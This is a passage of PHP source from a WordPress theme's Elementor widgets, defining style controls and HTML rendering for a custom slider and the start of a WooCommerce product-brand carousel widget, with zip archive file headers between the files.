					'{{WRAPPER}}  .penci-slider_btnwrap .pencislider-btn-2' => 'border-color: {{VALUE}};',
				),
			)
		);

		$this->end_controls_tab();

		$this->start_controls_tab( 'hover2', array( 'label' => __( 'Hover', 'soledad' ) ) );

		$this->add_control(
			'button2_hover_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .penci-slider_btnwrap .pencislider-btn-2:hover' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button2_hover_background_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}}  .penci-slider_btnwrap .pencislider-btn-2:hover' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button2_hover_border_color',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-2:hover' => 'border-color: {{VALUE}};',
				),
			)
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_pagination', array(
				'label' => __( 'Pagination', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control( 'heading_pagi_style', array(
			'label'     => __( 'Dots Pagination', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'style' => array( 'style-35', 'style-38' ) )
		) );

		// number style
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'      => 'dots_number_typo',
				'label'     => __( 'Typography for Number', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot span',
				'condition' => [ 'showdots_type' => 'number' ],
			)
		);
		$this->add_control( 'dots_number_color', array(
			'label'     => __( 'Number Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'number' ],
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot span' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_line_bgcolor', array(
			'label'     => __( 'Line Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'number' ],
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot span:after' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_number_acolor', array(
			'label'     => __( 'Number Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'number' ],
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot.active span' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_line_bgacolor', array(
			'label'     => __( 'Line Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'number' ],
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot.active span:after' => 'background-color: {{VALUE}};' ),
		) );

		// dots style

		$this->add_control( 'dots_bg_color', array(
			'label'     => __( 'Dot Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'dots' ],
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-custom-slides .penci-owl-carousel .penci-owl-dot span,body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bd_color', array(
			'label'     => __( 'Dot Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'dots' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bga_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'dots' ],
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span,body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bda_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots_type' => 'dots' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_cs_w', array(
			'label'     => __( 'Dot Width', 'soledad' ),
			'condition' => [ 'showdots_type' => 'dots' ],
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 5, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'width: {{SIZE}}px;height: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_csbd_w', array(
			'label'     => __( 'Dot Borders Width', 'soledad' ),
			'condition' => [ 'showdots_type' => 'dots' ],
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-width: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_csspc_w', array(
			'label'     => __( 'Dot Spacing', 'soledad' ),
			'condition' => [ 'showdots_type' => 'dots' ],
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel .penci-owl-dot,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot' => 'margin-left: {{SIZE}}px;margin-right: {{SIZE}}px;' ),
		) );

		$this->add_control( 'heading_prenex_style', array(
			'label'     => __( 'Previous/Next Buttons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'dots_nxpv_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_sizes', array(
			'label'     => __( 'Button Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;margin-top:0;transform:translateY(-50%);' ),
		) );

		$this->add_control( 'dots_nxpv_isizes', array(
			'label'     => __( 'Icon Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev i, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next i' => 'font-size: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_nxpv_bdradius', array(
			'label'     => __( 'Button Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->add_responsive_control( 'dots_nxpv_margin', array(
			'label'     => __( 'Dots Spacing Bottom', 'soledad' ),
			'condition' => [ 'showdots' => 'yes' ],
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dots' => 'bottom: {{SIZE}}px;' ),
		) );

		$this->end_controls_section();
	}

	protected function render() {

		$settings              = $this->get_settings();
		$settings['come_from'] = 'er';
		$twolines_class        = '';
		if ( 'yes' == $settings['btn_2lines'] ) {
			$twolines_class = ' btn-twoline';
		}

		$dots_style     = $settings['showdots_type'] ? ' pcdots-' . $settings['showdots_type'] : '';
		$pcenable_style = $settings['use_parallax'] ? ' penci-jarallax' : '';
		$fullscreen     = isset( $settings['fullscreen'] ) && $settings['fullscreen'] ? ' enable-fullscreen' : '';

		$data_slider = penci_get_data_slider( $settings );

		echo '<div class="penci-block-vc penci-custom-slides' . $fullscreen . '">';
		echo '<div class="penci-block_content penci-slides-wrap swiper penci-owl-carousel penci-owl-carousel-slider' . $dots_style . '" ' . $data_slider . '>';
		echo '<div class="swiper-wrapper">';

		$slide_count = 0;

		foreach ( (array) $settings['penci_slides'] as $slide ) {

			$heading_overlay     = isset( $settings['heading_overlay'] ) && $settings['heading_overlay'] ? 'yes' : '';
			$description_overlay = isset( $settings['description_overlay'] ) && $settings['description_overlay'] ? 'yes' : '';

			$add_url_feat_img = isset( $slide['add_url_feat_img'] ) && $slide['add_url_feat_img'] ? $slide['add_url_feat_img'] : '';
			$url_feat_img     = isset( $slide['url_feat_img'] ) && $slide['url_feat_img'] ? $slide['url_feat_img'] : '';

			if ( isset( $slide['bg_item_overlay'] ) && $slide['bg_item_overlay'] ) {
				if ( 'yes' == $slide['bg_item_overlay'] ) {
					$heading_overlay = $description_overlay = 'yes';
				} elseif ( 'no' == $slide['bg_item_overlay'] ) {
					$heading_overlay = $description_overlay = '';
				}
			}

			echo '<div class="swiper-slide elementor-repeater-item-' . $slide['_id'] . ' penci-ctslide-wrap">';
			echo '<div class="penci-custom-slide">';

			$ken_class = '';
			if ( '' != $slide['background_ken_burns'] ) {
				$ken_class = ' penci-ctslider-ken-' . $slide['zoom_direction'];
			}

			$video_content = '';

			if ( 'video' == $slide['background_type'] && isset( $slide['background_video'] ) && $slide['background_video'] ) {
				$video_content = ' data-jarallax data-video-src="' . esc_url( $slide['background_video'] ) . '"';
			}

			echo '<div class="penci-ctslide-bg' . $ken_class . $pcenable_style . '"' . $video_content . '></div>';

			echo '<div class="penci-ctslide-inner' . $twolines_class . '">';

			// Add link to image
			$url_feat_img_markup = '';
			if ( 'yes' === $add_url_feat_img && $url_feat_img ) {

				if ( ! empty( $url_feat_img['url'] ) ) {
					$this->add_render_attribute( 'url_feat_img' . $slide_count, 'href', $url_feat_img['url'] );
					if ( $url_feat_img['is_external'] ) {
						$this->add_render_attribute( 'url_feat_img' . $slide_count, 'target', '_blank' );
					}

					$url_feat_img_markup = '<a class="penci-ctslider-featimg" ' . $this->get_render_attribute_string( 'url_feat_img' . $slide_count ) . '></a>';
				}

				echo $url_feat_img_markup;
			}


			if ( 'yes' === $slide['background_overlay'] ) {
				echo '<div class="penci-ctslider-bg-overlay"></div>';
			}

			echo '<div class="penci-ctslider-content penci-' . esc_attr( $settings['content_animation'] ) . '">';

			if ( isset( $slide['heading'] ) && $slide['heading'] ) {

				if ( $heading_overlay ) {
					echo '<h2 class="pencislider-title pencislider-title-overlay"><span class="pslider-bgoverlay-inner"><span>' . $slide['heading'] . '</span></span></h2>';
				} else {
					echo '<h2 class="pencislider-title">' . $slide['heading'] . '</h2>';
				}

			}

			if ( isset( $slide['description'] ) && $slide['description'] ) {
				if ( $description_overlay ) {
					echo '<div class="pencislider-caption pencislider-caption-overlay"><span class="pslider-bgoverlay-inner"><span>' . $slide['description'] . '</span></span></div>';
				} else {
					echo '<div class="pencislider-caption">' . $slide['description'] . '</div>';
				}

			}

			$html_button = '';
			if ( isset( $slide['button_text'] ) && $slide['button_text'] ) {
				$button_link_data = 'href="#" aria-label="Button"';
				if ( ! empty( $slide['button_link']['url'] ) ) {
					$this->add_render_attribute( 'button_link' . $slide_count, 'href', $slide['button_link']['url'] );
					if ( $slide['button_link']['is_external'] ) {
						$this->add_render_attribute( 'button_link' . $slide_count, 'target', '_blank' );
					}
					$button_link_data = $this->get_render_attribute_string( 'button_link' . $slide_count );
				}

				$html_button .= '<a class="pencislider-btn pencislider-btn-1 penci-button" ' . $button_link_data . '><span>' . $slide['button_text'] . '</span></a>';
			}
			if ( isset( $slide['button_text2'] ) && $slide['button_text2'] ) {
				$button_link_data = 'href="#" aria-label="Button"';
				if ( ! empty( $slide['button_link2']['url'] ) ) {
					$this->add_render_attribute( 'button_link2' . $slide_count, 'href', $slide['button_link2']['url'] );
					if ( $slide['button_link2']['is_external'] ) {
						$this->add_render_attribute( 'button_link2' . $slide_count, 'target', '_blank' );
					}
					$button_link_data = $this->get_render_attribute_string( 'button_link2' . $slide_count );
				}

				$html_button .= '<a class="pencislider-btn pencislider-btn-2 penci-button" ' . $button_link_data . '><span>' . $slide['button_text2'] . '</span></a>';
			}

			if ( $html_button ) {
				echo '<div class="penci-slider_btnwrap">' . $html_button . '</div>';
			}

			echo '</div>'; // slider content


			echo '</div>'; // penci-ctslide-inner
			echo '</div>'; // penci-custom-slide
			echo '</div>'; // penci-ctslide-wrap

			$slide_count ++;
		}

		echo '</div></div></div>';
	}
}
PK     N\##  #  4  inc/elementor/modules/penci-product-brand/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductBrand;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product_brand';
	}

	public function get_widgets() {
		return array( 'PenciProductBrand' );
	}
}
PK     N\>!I  I  I  inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductBrand\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProductBrand extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_products_brands';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Product Brands', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-logo';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section( 'general_content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
		] );

		$this->add_control( 'number', [
			'label'       => esc_html__( 'Number', 'soledad' ),
			'description' => esc_html__( 'Enter the number of categories to display for this element.', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
		] );

		$this->add_control( 'orderby', [
			'label'   => esc_html__( 'Order by', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''        => '',
				'name'    => esc_html__( 'Name', 'soledad' ),
				'term_id' => esc_html__( 'ID', 'soledad' ),
				'slug'    => esc_html__( 'Slug', 'soledad' ),
				'random'  => esc_html__( 'Random order', 'soledad' ),
			),
		] );

		$this->add_control( 'order', [
			'label'       => esc_html__( 'Sort order', 'soledad' ),
			'description' => 'Designates the ascending or descending order. More at <a href="http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters" target="_blank">WordPress codex page</a>.',
			'type'        => Controls_Manager::SELECT,
			'default'     => '',
			'options'     => array(
				''     => esc_html__( 'Inherit', 'soledad' ),
				'DESC' => esc_html__( 'Descending', 'soledad' ),
				'ASC'  => esc_html__( 'Ascending', 'soledad' ),
			),
		] );

		$this->add_control( 'hide_empty', [
			'label'        => esc_html__( 'Hide empty', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => '1',
		] );

		$this->add_control( 'ids', [
			'label'       => esc_html__( 'Brands', 'soledad' ),
			'description' => esc_html__( 'List of product brands to show. Leave empty to show all.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'pa_brand',
			'multiple'    => true,
			'label_block' => true,
		] );

		$this->end_controls_section();

		/**
		 * Title settings.
		 */

		$this->register_block_title_section_controls();

		/**
		 * Style tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section( 'general_style_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'hover', [
			'label'   => esc_html__( 'Brand images hover', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => array(
				'default' => esc_html__( 'Style 1', 'soledad' ),
				'simple'  => esc_html__( 'Style 2', 'soledad' ),
				'alt'     => esc_html__( 'Style 3', 'soledad' ),
			),
		] );

		$this->add_control( 'brand_style', [
			'label'   => esc_html__( 'Border Style ?', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => array(
				'default'  => esc_html__( 'No', 'soledad' ),
				'bordered' => esc_html__( 'Yes', 'soledad' ),
			),
		] );

		$this->add_control( 'style', [
			'label'   => esc_html__( 'Layout', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'carousel',
			'options' => array(
				'carousel' => esc_html__( 'Carousel', 'soledad' ),
				'grid'     => esc_html__( 'Grid', 'soledad' ),
				'list'     => esc_html__( 'Links List', 'soledad' ),
			),
		] );

		$this->add_control( 'columns', [
			'label'       => esc_html__( 'Columns', 'soledad' ),
			'description' => esc_html__( 'Number of columns in the grid.', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => [
				'size' => 3,
			],
			'size_units'  => '',
			'range'       => [
				'px' => [
					'min'  => 1,
					'max'  => 6,
					'step' => 1,
				],
			],
			'condition'   => [
				'style' => array( 'grid', 'list' ),
			],
		] );

		$this->end_controls_section();

		/**
		 * Carousel settings.
		 */
		$this->start_controls_section( 'carousel_style_section', [
			'label'     => esc_html__( 'Carousel', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [
				'style' => 'carousel',
			],
		] );

		$this->add_control( 'slides_per_view', [
			'label'       => esc_html__( 'Slides per view', 'soledad' ),
			'description' => esc_html__( 'Set numbers of slides you want to display at the same time on slider\'s container for carousel mode.', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => [
				'size' => 3,
			],
			'size_units'  => '',
			'range'       => [
				'px' => [
					'min'  => 1,
					'max'  => 8,
					'step' => 1,
				],
			],
		] );

		$this->add_control( 'hide_pagination_control', [
			'label'        => esc_html__( 'Hide pagination control', 'soledad' ),
			'description'  => esc_html__( 'If "YES" pagination control will be removed.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'true',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'false',
			'condition'    => [
				'style' => 'carousel',
			],
		] );

		$this->add_control( 'hide_prev_next_buttons', [
			'label'        => esc_html__( 'Hide prev/next buttons', 'soledad' ),
			'description'  => esc_html__( 'If "YES" prev/next control will be removed', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'true',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'false',
			'condition'    => [
				'style' => 'carousel',
			],
		] );

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control( 'wrap', [
			'label'        => esc_html__( 'Slider loop', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'false',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'true',
			'condition'    => [
				'style' => 'carousel',
			],
		] );

		$this->add_control( 'autoplay', [
			'label'        => esc_html__( 'Slider autoplay', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'false',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'true',
		] );

		$this->add_control( 'speed', [
			'label'       => esc_html__( 'Slider speed', 'soledad' ),
			'description' => esc_html__( 'Duration of animation between slides (in ms)', 'soledad' ),
			'default'     => '300',
			'type'        => Controls_Manager::NUMBER,
			'condition'   => [
				'autoplay' => 'yes',
			],
		] );

		$this->add_control( 'scroll_carousel_init', [
			'label'        => esc_html__( 'Init carousel on scroll', 'soledad' ),
			'description'  => esc_html__( 'This option allows you to init carousel script only when visitor scroll the page to the slider. Useful for performance optimization.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'false',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'true',
		] );

		$this->end_controls_section();

		/**
		 * Carousel settings.
		 */
		$this->start_controls_section( 'brand_style_section', [
			'label' => esc_html__( 'Brand Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'brand_text_color', array(
			'label'     => __( 'Brand Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .brands-style-bordered.brands-list .brand-item > a' => 'color: {{VALUE}};',
			),
			'condition' => [
				'style' => 'list',
			],
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'brand_text_typo',
			'label'     => __( 'Brand Text Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .brands-style-bordered.brands-list .brand-item > a',
			'condition' => [
				'style' => 'list',
			],
		) );

		$this->add_control( 'brand_border_color', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .brands-style-bordered .brand-item'                      => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .brands-style-bordered.brands-carousel .owl-stage-outer' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .brands-style-bordered'                                  => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .brands-style-bordered.brands-list .brand-item > a'      => 'border-bottom-color: {{VALUE}};',
			),
			'condition' => [
				'brand_style' => 'bordered',
			],
		) );

		$this->add_control( 'carousel_border_color', array(
			'label'     => __( 'Carousel Navigation <br> Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot span' => 'border-color: {{VALUE}};',
			),
			'condition' => [
				'style' => 'carousel',
			],
		) );

		$this->add_control( 'carousel_bg_color', array(
			'label'     => __( 'Carousel Navigation <br> Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot span' => 'background-color: {{VALUE}};',
			),
			'condition' => [
				'style' => 'carousel',
			],
		) );

		$this->add_control( 'carousel_border_active_color', array(
			'label'     => __( 'Carousel Navigation <br> Active Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot.active span' => 'border-color: {{VALUE}};',
			),
			'condition' => [
				'style' => 'carousel',
			],
		) );

		$this->add_control( 'carousel_bg_active_color', array(
			'label'     => __( 'Carousel Navigation <br> Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot.active span' => 'background-color: {{VALUE}};',
			),
			'condition' => [
				'style' => 'carousel',
			],
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		$default_settings = [
			'number'               => 20,
			'hover'                => 'default',
			'target'               => '_self',
			'link'                 => '',
			'ids'                  => '',
			'style'                => 'carousel',
			'brand_style'          => 'default',
			'slides_per_view'      => 3,
			'columns'              => 3,
			'orderby'              => '',
			'hide_empty'           => 0,
			'order'                => 'ASC',
			'scroll_carousel_init' => 'no',
			'custom_sizes'         => apply_filters( 'penci_brands_shortcode_custom_sizes', false ),
		];

		$settings = wp_parse_args( $this->get_settings_for_display(), $default_settings );

		$carousel_id = 'brands_' . rand( 1000, 9999 );

		$attribute = get_theme_mod( 'penci_woocommerce_brand_attr' );

		if ( empty( $attribute ) || ! taxonomy_exists( $attribute ) ) {
			echo '<div class="penci-notice penci-info">' . esc_html__( 'You must select your brand attribute in Appearance -> Customize -> WooCommerce > Brands', 'soledad' ) . '</div>';

			return;
		}

		$settings['columns']         = isset( $settings['columns']['size'] ) ? $settings['columns']['size'] : 3;
		$settings['slides_per_view'] = isset( $settings['slides_per_view']['size'] ) ? $settings['slides_per_view']['size'] : 3;

		$this->add_render_attribute( [
			'wrapper' => [
				'class' => [
					'brands-items-wrapper',
					'brands-widget',
					'slider-' . $carousel_id,
					'brands-hover-' . $settings['hover'],
					'brands-style-' . $settings['brand_style'],
				],
				'id'    => [
					$carousel_id,
				],
			],
			'items'   => [
				'class' => [
					'brand-item',
				],
			],
		] );

		if ( $settings['style'] ) {
			$this->add_render_attribute( 'wrapper', 'class', 'brands-' . $settings['style'] );
		}

		if ( 'carousel' === $settings['style'] ) {
			$settings['scroll_per_page'] = 'yes';
			$settings['carousel_id']     = $carousel_id;

			$this->add_render_attribute( 'items_wrapper', 'class', 'swiper penci-owl-carousel penci-owl-carousel-slider ' );
			$this->add_render_attribute( 'wrapper', 'class', 'penci-carousel-container' );

			$this->add_render_attribute( 'items_wrapper', 'data-item', isset( $settings['slides_per_view'] ) ? $settings['slides_per_view'] : 3 );
			$this->add_render_attribute( 'items_wrapper', 'data-desktop', isset( $settings['slides_per_view'] ) ? $settings['slides_per_view'] : 3 );
			$this->add_render_attribute( 'items_wrapper', 'data-dots', $settings['hide_pagination_control'] );
			$this->add_render_attribute( 'items_wrapper', 'data-nav', $settings['hide_prev_next_buttons'] );
			$this->add_render_attribute( 'items_wrapper', 'data-loop', $settings['wrap'] );
			$this->add_render_attribute( 'items_wrapper', 'data-ceffect', $settings['carousel_slider_effect'] );
			$this->add_render_attribute( 'items_wrapper', 'data-auto', $settings['autoplay'] );
			$this->add_render_attribute( 'items_wrapper', 'data-speed', $settings['speed'] );
			$this->add_render_attribute( 'items_wrapper', 'data-lazy', $settings['scroll_carousel_init'] );
			$this->add_render_attribute( 'items', 'class', 'swiper-slide' );

			if ( 'yes' === $settings['scroll_carousel_init'] ) {
				$this->add_render_attribute( 'wrapper', 'class', 'scroll-init' );
			}

			if ( get_theme_mod( 'penci_disable_owl_mobile_devices' ) ) {
				$this->add_render_attribute( 'wrapper', 'class', 'disable-owl-mobile' );
			}
		} else {
			$this->add_render_attribute( 'items_wrapper', 'class', 'penci-custom-row row-' . $settings['columns'] );
			$this->add_render_attribute( 'items', 'class', 'column-item' );
		}

		$args = array(
			'taxonomy'   => $attribute,
